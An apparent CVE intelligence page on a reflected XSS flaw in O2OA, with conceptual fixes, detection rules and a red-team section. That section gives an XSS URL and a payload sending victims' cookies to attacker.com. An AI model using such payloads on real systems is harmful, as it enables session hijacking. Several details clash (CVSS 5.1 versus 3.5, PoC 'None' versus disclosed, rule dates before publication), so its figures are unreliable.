☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
O2oa logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.1 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-9659

CVE-2025-9659 Cross-Site Scripting in O2oa
📅 PUBLISHED: 2025-08-29 16:02 UTC 🔄 UPDATED: 2026-09-23 20:33 UTC
[ ZERO-DAY / UNPATCHED ] [ DEFENSE PATCH ↓ ]
💣 PoC: None
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.27%
👁️
0.27% probability
6.8× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1059.007
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: China License: Open Source
VULNERABLE: UNKNOWN / CHECK VENDOR
CVSS SEVERITY SCALE
9.0–10.0 CRITICAL
7.0–8.9 HIGH
4.0–6.9 MEDIUM
0.1–3.9 LOW
0.0 NONE
5.1
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-9659 is a reflected Cross-Site Scripting (XSS) vulnerability in O2OA, an open-source enterprise collaboration platform. The flaw resides in the /x_portal_assemble_designer/jaxrs/widget endpoint, specifically within the Personal Profile Page component. An attacker can inject arbitrary JavaScript into a crafted request, which, when processed by a victim's browser, executes in the context of the O2OA application. The CVSS score is 3.5 (Low), reflecting the need for user interaction (clicking a link) and the limited impact on confidentiality and integrity. A proof-of-concept has been publicly disclosed, and the vendor has acknowledged the issue, stating it will be fixed in a future release.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not related to a package manager (NPM, PyPI, Go, Ruby) but is a direct application-level flaw in the O2OA Java-based platform.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) - The attack is executed remotely over the network.
  • Attack Complexity (AC): Low (L) - No special conditions are required for exploitation.
  • Privileges Required (PR): None (N) - The attacker does not need to be authenticated.
  • User Interaction (UI): Required (R) - The victim must click a malicious link or visit a crafted page.
  • Scope (S): Unchanged (U) - The vulnerable component and the impacted component are the same.
  • Confidentiality (C): None (N) - No direct data theft.
  • Integrity (I): Low (L) - The attacker can modify content within the victim's browser session.
  • Availability (A): None (N) - No impact on system availability.

Threat Level: Low. Exploitation requires user interaction and yields limited impact. However, the public availability of a PoC increases the risk for unpatched instances.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS. The endpoint /x_portal_assemble_designer/jaxrs/widget does not properly sanitize user-supplied input before reflecting it in the HTTP response. An attacker can craft a URL containing malicious JavaScript code in a parameter (likely widget or a similar query parameter). When a victim clicks this link, the browser sends the request to the O2OA server, which then includes the unsanitized payload in the response. The victim's browser executes the injected script, allowing the attacker to perform actions such as:

  • Stealing session cookies (if HttpOnly flag is not set).
  • Defacing the page.
  • Redirecting the user to a malicious site.
  • Performing actions on behalf of the victim within the O2OA application.

The root cause is the lack of output encoding or input validation on the server side for the reflected data.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vulnerable: Directly reflects user input without encoding
@GET
@Path("/widget")
public Response getWidget(@QueryParam("name") String widgetName) {
    String response = "<div>Widget: " + widgetName + "</div>";
    return Response.ok(response).build();
}

Patched Code (Conceptual):

// Patched: Encodes user input before reflection
import org.owasp.encoder.Encode;

@GET
@Path("/widget")
public Response getWidget(@QueryParam("name") String widgetName) {
    String safeName = Encode.forHtml(widgetName);
    String response = "<div>Widget: " + safeName + "</div>";
    return Response.ok(response).build();
}

The patched version uses an HTML encoding library (e.g., OWASP Encoder) to neutralize any HTML/JavaScript characters before including the input in the response.

Exploitation & Lab Setup

Red Team (Offensive)

Prerequisites:

  • A vulnerable O2OA instance (version <= 10.0-410).
  • A web browser or tool like curl.

Exploit Steps:

  1. Craft a malicious URL with a JavaScript payload in the vulnerable parameter. The exact parameter name is not publicly confirmed, but based on the endpoint, it is likely widget or name.
    http://target-o2oa.com/x_portal_assemble_designer/jaxrs/widget?name=<script>alert('XSS')</script>
    
  2. Send this URL to a victim (e.g., via email, social engineering).
  3. When the victim clicks the link, the script executes in their browser.

Advanced Payload (Cookie Stealing):

<script>document.location='http://attacker.com/steal?cookie='+document.cookie</script>

Blue Team (Defensive)

Detection:

  • Monitor web server logs for requests to /x_portal_assemble_designer/jaxrs/widget containing suspicious characters like <script>, %3Cscript%3E, or onerror=.
  • Use a Web Application Firewall (WAF) to block requests with XSS patterns in query parameters.

Mitigation:

  • Apply the vendor patch as soon as it is released.
  • Implement Content Security Policy (CSP) headers to restrict script execution.
  • Enable HttpOnly and Secure flags on session cookies.
  • Use input validation and output encoding for all user-supplied data.

Indicators of Compromise (IOCs)

  • Network:
    • HTTP requests to /x_portal_assemble_designer/jaxrs/widget with query parameters containing <script> tags or JavaScript event handlers (e.g., onerror, onload).
    • Outbound connections from the O2OA server to unknown external IPs (if cookie stealing is successful).
  • Host:
    • Web server logs showing 200 responses to the vulnerable endpoint with XSS payloads.
    • Browser console errors or unexpected script execution on the O2OA login/profile page.

Detection Engineering

YARA Rule

rule CVE_2025_9659_XSS_Reflected {
    meta:
        description = "Detects reflected XSS attempts against O2OA CVE-2025-9659"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-9659"
    strings:
        $xss_pattern1 = /<script[^>]*>.*?<\/script>/i
        $xss_pattern2 = /onerror\s*=\s*["']?[^"'\s>]+/i
        $xss_pattern3 = /onload\s*=\s*["']?[^"'\s>]+/i
        $uri_pattern = /\/x_portal_assemble_designer\/jaxrs\/widget/i
    condition:
        $uri_pattern and any of ($xss_pattern*)
}

Sigma Rule

title: Reflected XSS Attempt Against O2OA CVE-2025-9659
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects HTTP requests to the vulnerable O2OA endpoint containing XSS payloads.
author: Valters IT
date: 2025/04/10
logsource:
    category: webserver
    product: apache
    service: accesslog
detection:
    selection:
        cs-uri-stem: '/x_portal_assemble_designer/jaxrs/widget'
        cs-uri-query|contains:
            - '<script'
            - 'onerror='
            - 'onload='
            - 'javascript:'
    condition: selection
falsepositives:
    - Legitimate use of HTML in widget names (unlikely)
level: high

Suricata Rule

alert http any any -> any any (msg:"CVE-2025-9659 O2OA Reflected XSS Attempt"; flow:to_server; content:"/x_portal_assemble_designer/jaxrs/widget"; http_uri; pcre:"/(<script|onerror=|onload=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate Action: Upgrade O2OA to a version newer than 10.0-410 once the vendor releases the patch.
  2. Virtual Patching: If immediate upgrade is not possible, deploy a WAF rule to block requests to /x_portal_assemble_designer/jaxrs/widget containing XSS patterns.
  3. Code Review: Ensure all user-supplied data is properly encoded before being reflected in HTTP responses.
  4. Security Headers: Implement Content Security Policy (CSP) to restrict inline script execution.
  5. Monitoring: Enable detailed logging for the vulnerable endpoint and alert on suspicious requests.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Analyst

◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-9659/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.